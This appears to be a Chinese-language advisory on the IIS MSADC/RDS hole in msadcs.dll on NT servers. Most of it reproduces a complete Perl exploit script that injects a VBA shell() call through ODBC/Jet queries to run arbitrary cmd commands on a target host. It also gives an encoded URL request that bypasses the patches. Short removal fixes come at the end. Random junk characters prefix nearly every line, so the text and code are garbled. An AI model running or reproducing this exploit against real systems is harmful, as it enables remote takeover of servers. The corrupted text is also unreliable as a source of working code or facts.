IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
e\i}@] Ya,(J0l 涉及程序：
w'!J Microsoft NT server
ju;Myi}a IHf#P5y_ 描述：
/ ,
.rUn1 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
F5f1j]c +8V | 详细：
1
,4V8gp 如果你没有时间读详细内容的话，就删除:
Ph C{Gg c:\Program Files\Common Files\System\Msadc\msadcs.dll
9 kS ;_(DB 有关的安全问题就没有了。
V@1K i]n ?zWo_h 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
?anK SGfj N`i`[ f 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
7)+%;|~ 关于利用ODBC远程漏洞的描述，请参看:
3` \) Qm ~qm u?5 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm 'O]Ja- rlVo}kc7: 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
N&+DhK w http://www.microsoft.com/security/bulletins/MS99-025faq.asp &T/}|3S vH9Gf 这里不再论述。
,4z?9@wQ }x}JzA +2 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
mdD9Q
N01 ) "To h=x] /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
/2PsC*y 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
* ;C8g{ zE<G wVI~ 2w G4" #将下面这段保存为txt文件，然后: "perl -x 文件名"
/Q[M2DN@ }]?U.
]- #!perl
C:d$ #
#NLLl E E # MSADC/RDS 'usage' (aka exploit) script
jo8;S?+<|? #
*]_GFixi # by rain.forest.puppy
4FgY !k #
` m Tc # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
r=ds'n" # beta test and find errors!
7Y(ySW L]HYk }oD. use Socket; use Getopt::Std;
tqo!WuZAj getopts("e:vd:h:XR", \%args);
HR83{B21 5 Pl~ du print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
R] {AJ "p NQ(}rr'. if (!defined $args{h} && !defined $args{R}) {
tcxs%yWO1 print qq~
S4Vv _k-&
Usage: msadc.pl -h <host> { -d <delay> -X -v }
sZhl.[&zo -h <host> = host you want to scan (ip or domain)
QWBQ 0#L -d <seconds> = delay between calls, default 1 second
\aO.LwYm;: -X = dump Index Server path table, if available
]xIfgSq -v = verbose
[#R<Z+c -e = external dictionary file for step 5
%L9A6%gr
(^Kcyag4 Or a -R will resume a command session
D; 0xROW8{ :{v:sK ~; exit;}
1$Pn;jg: 9 v<Sng $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
-f-2!1&<3h if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
3y Azt*dZ if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
(g@e=m7Q if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
pMX#!wb $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
x@]pUA1 if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
o=
%Fh *?+m aK{5+ if (!defined $args{R}){ $ret = &has_msadc;
X;ZR" YgT die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
d6.9]V? &,Xs=Lv mq print "Please type the NT commandline you want to run (cmd /c assumed):\n"
^Q?I8 ,4} . "cmd /c ";
Vh ww-A $in=<STDIN>; chomp $in;
h,V#V1>Hu $command="cmd /c " . $in ;
Cu\A[6g, o?J>mpC if (defined $args{R}) {&load; exit;}
ZC 1U z.[ Ok print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
m
dC.M$ &try_btcustmr;
B94m h ;Db89Nc$ print "\nStep 2: Trying to make our own DSN...";
uj-q@IKe &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
-hP@L ++D khb
Gyg% print "\nStep 3: Trying known DSNs...";
%L ./U$ &known_dsn;
?~a M<rcZ jz$)*Kdi* print "\nStep 4: Trying known .mdbs...";
N3nk\ )V\E &known_mdb;
R?Q@)POW +*Cg2` if (defined $args{e}){
8<t?o'9I print "\nStep 5: Trying dictionary of DSN names...";
<&o
`T4 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
.O'gD.|^N <)]B$~(a print "Sorry Charley...maybe next time?\n";
0=8.8 LnN( exit;
T] nZ3EZ 3X{=* wvt ##############################################################################
MQQ!@ I` [PrR 3 0: sub sendraw { # ripped and modded from whisker
)^^ r\ sleep($delay); # it's a DoS on the server! At least on mine...
9b !+kJD my ($pstr)=@_;
{cv,Tz[Q> socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
~} mX#, die("Socket problems\n");
,F J 9C3 if(connect(S,pack "SnA4x8",2,80,$target)){
2 WIbu-"l select(S); $|=1;
mLO{~ruu print $pstr; my @in=<S>;
E YUr.#: select(STDOUT); close(S);
zu }h3n 5 return @in;
3yXF|
yV } else { die("Can't connect...\n"); }}
)*^PMf ~2~KcgPsq ##############################################################################
fj 19U9R _SC>EP 8:Z sub make_header { # make the HTTP request
m \4jiR_o my $msadc=<<EOT
"_C^Bc POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
mB#`{|1[ User-Agent: ACTIVEDATA
[6
!/ Host: $ip
{61NLF\0H Content-Length: $clen
+6f5uMKUvs Connection: Keep-Alive
''wWw(2O r }QW!^F ADCClientVersion:01.06
;=6 ++Oq Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
8@/]ki `> "31GC7 --!ADM!ROX!YOUR!WORLD!
}qW%= ;! Content-Type: application/x-varg
`2NL'O: Content-Length: $reqlen
8\y%J!b gzP(Lf I5 EOT
N`grr{*_ ; $msadc=~s/\n/\r\n/g;
g=[ F W@z return $msadc;}
-2tX 15, Eln"RKCt}9 ##############################################################################
{:Z # 8dGe S]1+tj sub make_req { # make the RDS request
&tQ,2RT my ($switch, $p1, $p2)=@_;
'mug,jM my $req=""; my $t1, $t2, $query, $dsn;
,I@4)RSAH| "^<:7 _Y if ($switch==1){ # this is the btcustmr.mdb query
lV$U!v: b $query="Select * from Customers where City=" . make_shell();
4%p5X8|\ih $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
_?@>S 7- $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
vUgLWd { TdK S elsif ($switch==2){ # this is general make table query
6yTL7@V|B $query="create table AZZ (B int, C varchar(10))";
CQ"IL;y $dsn="$p1";}
GwwxSB&y R 8\y|p#c elsif ($switch==3){ # this is general exploit table query
_e8@y{/~Fd $query="select * from AZZ where C=" . make_shell();
?Yg K]IxD $dsn="$p1";}
4\2p8__ KE 16BjX@ elsif ($switch==4){ # attempt to hork file info from index server
.^dj B
x $query="select path from scope()";
QD<^ VY6 $dsn="Provider=MSIDXS;";}
Q_6./.GQ
w_,. elsif ($switch==5){ # bad query
$1\<>sJH
$query="select";
\p@,+ -gX $dsn="$p1";}
ahS*YeS7 }PyAmh$@ $t1= make_unicode($query);
JeUFCWm $t2= make_unicode($dsn);
aiw~4ix $req = "\x02\x00\x03\x00";
nf /iZ & $req.= "\x08\x00" . pack ("S1", length($t1));
%nOBs ln $req.= "\x00\x00" . $t1 ;
HC4ad0Gs+{ $req.= "\x08\x00" . pack ("S1", length($t2));
>}u?{_s *0 $req.= "\x00\x00" . $t2 ;
,A
=%!p+ $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
jfqWcX.X= return $req;}
XT~JP ;b
cy(Fp,\ ##############################################################################
XOgX0cRC4 +5?hkQCX1^ sub make_shell { # this makes the shell() statement
D}cq_|mmn[ return "'|shell(\"$command\")|'";}
<s+=v! +VDl"Hx ##############################################################################
Ej 'a
G 1oj7R7 sub make_unicode { # quick little function to convert to unicode
WU#bA|Cf my ($in)=@_; my $out;
( rZq0* for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
L\ _8}\ return $out;}
pR 1 v^m| Wz:MPdz3( ##############################################################################
k%NY,(:( -hp,O?PM sub rdo_success { # checks for RDO return success (this is kludge)
IOTHk+w my (@in) = @_; my $base=content_start(@in);
M29[\@zL if($in[$base]=~/multipart\/mixed/){
1. yw\ZC\ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
_h@7>+vl~ return 0;}
&sJpn* W TD tk'=; ##############################################################################
Mk|h ><Q" 3 {on$\ sub make_dsn { # this makes a DSN for us
evg i\" my @drives=("c","d","e","f");
L V33vy print "\nMaking DSN: ";
pK *-In foreach $drive (@drives) {
[ "J print "$drive: ";
./5|i*ow my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
rI; e!EW "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
G0> ' H1 Z . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
?@_3B]Fs $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
a/_sL(F{ return 0 if $2 eq "404"; # not found/doesn't exist
j*W]^u T, if($2 eq "200") {
@WBy:gV" foreach $line (@results) {
Ha)w*1&w" return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
|;rjr_I } return 0;}
$Xz9xzOR kc~Z1 ##############################################################################
<T %tUJ >qYU sub verify_exists {
k[Uc _= my ($page)=@_;
Ik;~u8j1e my @results=sendraw("GET $page HTTP/1.0\n\n");
QE< 63| return $results[0];}
i1 SP ?$-OdABXHK ##############################################################################
u4z]6?,"e uZmfvMr3 sub try_btcustmr {
w{2V7*+l my @drives=("c","d","e","f");
e
*;"$7o9 my @dirs=("winnt","winnt35","winnt351","win","windows");
mtm BL 2? ':o.vQdJ foreach $dir (@dirs) {
j]Rl1~+M print "$dir -> "; # fun status so you can see progress
KMoRMCT foreach $drive (@drives) {
tEiN(KA!5 print "$drive: "; # ditto
Q(V c/ $reqlen=length( make_req(1,$drive,$dir) ) - 28;
]jY->NsA] $reqlenlen=length( "$reqlen" );
_i}6z xqw $clen= 206 + $reqlenlen + $reqlen;
l4R: _Z< 6],5X^*Y my @results=sendraw(make_header() . make_req(1,$drive,$dir));
NYR^y \u if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
#ye++ .7WK else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
[u)^QgP -k$r kKHZ( ##############################################################################
H[]j 6D A "_;.e` sub odbc_error {
_e ~EQ[, my (@in)=@_; my $base;
*R xb qB- my $base = content_start(@in);
P>4(+s
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
/Pg66H#RUf $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
<ezvz..g $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
2!]':(8mR $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
!WVF{L,/I return $in[$base+4].$in[$base+5].$in[$base+6];}
q3s cz print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
pN*>A^ print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
AU-/-h=Mr $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
f*oL8"?u& P-^Z7^o-bX ##############################################################################
\zj8| + 2&$ A x sub verbose {
qMI %=@= my ($in)=@_;
J# :%| F% return if !$verbose;
x :sTE u@ print STDOUT "\n$in\n";}
Gt6$@ji4u )2bPu[U ##############################################################################
\8_&@uLm <bGSr23* sub save {
'^7Sa my ($p1, $p2, $p3, $p4)=@_;
}p 8a'3@Z open(OUT, ">rds.save") || print "Problem saving parameters...\n";
RMLs(?e print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
lQ! 6n close OUT;}
_h@e.BtDs !n)2HDYhx, ##############################################################################
)5 &w @BW~A@8 sub load {
=C<_rBY my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
93o}vy-> open(IN,"<rds.save") || die("Couldn't open rds.save\n");
g%9I+(?t @p=<IN>; close(IN);
tOp>O oD $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
5^0W\
$target= inet_aton($ip) || die("inet_aton problems");
7*@q d& print "Resuming to $ip ...";
#G9S[J=xe $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Q3z-v&^E9 if($p[1]==1) {
7z F29gC $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
K-p 1v!IC $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
bS*
"C,b~s my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
K[T? --H if (rdo_success(@results)){print "Success!\n";}
5; dnxhf else { print "failed\n"; verbose(odbc_error(@results));}}
l4r09"S|V elsif ($p[1]==3){
j> ?c]h{- if(run_query("$p[3]")){
. D)'ZY print "Success!\n";} else { print "failed\n"; }}
X<Vko^vlj elsif ($p[1]==4){
]_F%{ 8| if(run_query($drvst . "$p[3]")){
wCn W]<+ print "Success!\n"; } else { print "failed\n"; }}
L
F Z exit;}
+XFF@h&=t &IOChQ`8P ##############################################################################
:[\}Hn= 7CM<"pV sub create_table {
j6IWdqXe my ($in)=@_;
Et`z7Q*e $reqlen=length( make_req(2,$in,"") ) - 28;
;t"#7\ $reqlenlen=length( "$reqlen" );
i n#g $clen= 206 + $reqlenlen + $reqlen;
v0= ^Hy m my @results=sendraw(make_header() . make_req(2,$in,""));
*PZN Z{|m return 1 if rdo_success(@results);
^U:pv0Qz my $temp= odbc_error(@results); verbose($temp);
ur*1I/v return 1 if $temp=~/Table 'AZZ' already exists/;
jk 9K>4W return 0;}
*Pw; ;#\B mv<z%y?Oj ##############################################################################
3Yg/-=U( I&R4.;LW sub known_dsn {
p~+)!Z# # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
s?E7tmaM my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
).-B@&Eu% "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
/-G;#Wm "banner", "banners", "ads", "ADCDemo", "ADCTest");
~G5)ya- <\2,7K{{+; foreach $dSn (@dsns) {
;f0+'W print ".";
+ ?nW next if (!is_access("DSN=$dSn"));
F/& Z1G. if(create_table("DSN=$dSn")){
VEo> uR print "$dSn successful\n";
;se-IDN if(run_query("DSN=$dSn")){
']A+ wGR&r print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
}& `# print "Something's borked. Use verbose next time\n";}}} print "\n";}
N`8?bU7a}" q=UKL`;C}U ##############################################################################
V0ulIKck ]rC6fNhQ sub is_access {
q9ic j my ($in)=@_;
l)=Rj `M $reqlen=length( make_req(5,$in,"") ) - 28;
jo{GPp} $reqlenlen=length( "$reqlen" );
GwW!Q|tVz= $clen= 206 + $reqlenlen + $reqlen;
im4V6 f;% my @results=sendraw(make_header() . make_req(5,$in,""));
waO* CjxE: my $temp= odbc_error(@results);
Fgt/A#`fz verbose($temp); return 1 if ($temp=~/Microsoft Access/);
<iJ->$ return 0;}
)k <ON~x d!e$BiC ##############################################################################
mi%d([)%< |giK]Z sub run_query {
4+' yJ9~,B my ($in)=@_;
HrEZ]iQ@O0 $reqlen=length( make_req(3,$in,"") ) - 28;
m:II<tv $reqlenlen=length( "$reqlen" );
@&mv4zz&W $clen= 206 + $reqlenlen + $reqlen;
OUnt?[ U\ my @results=sendraw(make_header() . make_req(3,$in,""));
y%`^* E& return 1 if rdo_success(@results);
6hAeLl U1 my $temp= odbc_error(@results); verbose($temp);
r3_ @ L>; return 0;}
lNls8@ L ?4c8!Q ##############################################################################
nWmc tjuW+5O sub known_mdb {
mNWm p_c,1 my @drives=("c","d","e","f","g");
@H1 pPr my @dirs=("winnt","winnt35","winnt351","win","windows");
l J ;wl|9 my $dir, $drive, $mdb;
L7%Dc2{^( my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
=n i&*& >umcpkp- h # this is sparse, because I don't know of many
lmQ!q>N my @sysmdbs=( "\\catroot\\icatalog.mdb",
VG q' "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
]^/:Xsk$ "\\system32\\certmdb.mdb",
E/Eny 5 "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
>bEH&7+@_' 2
os&d| my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
I6 {}S6 "\\cfusion\\cfapps\\forums\\forums_.mdb",
EX=+TOkAf "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
=p N?h<dc "\\cfusion\\cfapps\\security\\realm_.mdb",
P[%
W[E< "\\cfusion\\cfapps\\security\\data\\realm.mdb",
86vk" "\\cfusion\\database\\cfexamples.mdb",
Rfeiv "\\cfusion\\database\\cfsnippets.mdb",
k "'q "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
dxUq5`#G, "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
L8T T54fM "\\cfusion\\brighttiger\\database\\cleam.mdb",
u}qfwVX Z "\\cfusion\\database\\smpolicy.mdb",
Uk6Y6mU V "\\cfusion\\database\cypress.mdb",
91jv=>=DM "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
Xe:B* "\\website\\cgi-win\\dbsample.mdb",
nBWrkVX "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
?U iwr{Q "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
`-qSvjX ); #these are just
8!4=j foreach $drive (@drives) {
& CCB;Oi% foreach $dir (@dirs){
?K|PM <A foreach $mdb (@sysmdbs) {
K>w}(td print ".";
Ep.,2H if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
%4imlP print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
;) u}`4~L if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
M!;H3* print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
)p(5$AR7 } else { print "Something's borked. Use verbose next time\n"; }}}}}
1CFrV=d * 8kg6v% foreach $drive (@drives) {
h c`9Y foreach $mdb (@mdbs) {
-Z4J?b print ".";
FWq 6e, if(create_table($drv . $drive . $dir . $mdb)){
0 r_8/|N# print "\n" . $drive . $dir . $mdb . " successful\n";
/^P ^K if(run_query($drv . $drive . $dir . $mdb)){
;!Oj b print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
X+? *Tw!\ } else { print "Something's borked. Use verbose next time\n"; }}}}
B#B $w_z }
J55K+ A
WMR 0I ##############################################################################
} sd-X`lZ xAjLn*d|N sub hork_idx {
L!3{ASIN0 print "\nAttempting to dump Index Server tables...\n";
^qIp+[/' print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
Op~sR ^ez $reqlen=length( make_req(4,"","") ) - 28;
x,5$VLs\+ $reqlenlen=length( "$reqlen" );
b+[9) B)a? $clen= 206 + $reqlenlen + $reqlen;
/>FrMz8;( my @results=sendraw2(make_header() . make_req(4,"",""));
V`pTl3 if (rdo_success(@results)){
kI iId8l my $max=@results; my $c; my %d;
JUF[Y^C for($c=19; $c<$max; $c++){
V%<<Udu< $results[$c]=~s/\x00//g;
gupB8 .! $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
`$nMTx]Y $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
JihI 1C $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
iL/(WAB_od $d{"$1$2"}="";}
>XSe[K foreach $c (keys %d){ print "$c\n"; }
\-#~)LB]M } else {print "Index server doesn't seem to be installed.\n"; }}
]BO {Q+?d2 L<1"u.3Z`} ##############################################################################
9bMM-~
!|9$ sub dsn_dict {
5w@ ;B open(IN, "<$args{e}") || die("Can't open external dictionary\n");
&Sa<&2W4S while(<IN>){
Hm-+1Wx $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
pyT+ba# next if (!is_access("DSN=$dSn"));
-=Q _E^' if(create_table("DSN=$dSn")){
awHfd5nRS print "$dSn successful\n";
-,TBUWg if(run_query("DSN=$dSn")){
h$f/NS ct2 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
$Y,,e3R3 print "Something's borked. Use verbose next time\n";}}}
v@XQ)95]F print "\n"; close(IN);}
5y(irbk7 k {s#wJA ##############################################################################
]n _- T
2x~fiM sub sendraw2 { # ripped and modded from whisker
ojs&W]r0Z sleep($delay); # it's a DoS on the server! At least on mine...
q&<#)#+ my ($pstr)=@_;
/q uf'CV} socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
W ;P1T"*A die("Socket problems\n");
yD#w @yG if(connect(S,pack "SnA4x8",2,80,$target)){
q[M7 )- print "Connected. Getting data";
@7u4v%,wB open(OUT,">raw.out"); my @in;
0Y)b319B select(S); $|=1; print $pstr;
jm .pb/ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
.x(&- close(OUT); select(STDOUT); close(S); return @in;
y z9`1R2c } else { die("Can't connect...\n"); }}
"*RCV6{ _8 vxb ##############################################################################
bjm`u3
A \#LKsQa sub content_start { # this will take in the server headers
,*E%D _ my (@in)=@_; my $c;
8kW9.
for ($c=1;$c<500;$c++) {
(PsA [>F if($in[$c] =~/^\x0d\x0a/){
#7lkj:j4 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
3a!/EP else { return $c+1; }}}
i# kRVua/ return -1;} # it should never get here actually
66p_d' U D'fP2?3FK ##############################################################################
g#9w5Q -fL|e/ sub funky {
J:?t.c~$o my (@in)=@_; my $error=odbc_error(@in);
^ n bze if($error=~/ADO could not find the specified provider/){
s.=)p"pTd print "\nServer returned an ADO miscofiguration message\nAborting.\n";
Kzo{L exit;}
v
0rX/ mj if($error=~/A Handler is required/){
k{ c ~ print "\nServer has custom handler filters (they most likely are patched)\n";
}2`S@Rq.WW exit;}
e&; c^Z if($error=~/specified Handler has denied Access/){
rJ\A)O+Mq( print "\nServer has custom handler filters (they most likely are patched)\n";
oxO}m7 ULH exit;}}
Xuh_bW&zF *n}9_V% ##############################################################################
xBgf)'W_Z g+ 2SB5 2D sub has_msadc {
D.*JG7;=Z my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
lmH!I )5 my $base=content_start(@results);
82O`<Ci return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
.8b 4 return 0;}
hXz"}X n 3q pk Mu3 ########################
!~ -^s Vg:P@6s ik8e 解决方案：
; Jx ^ 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
X@~s IUXx9 2、移除web 目录: /msadc
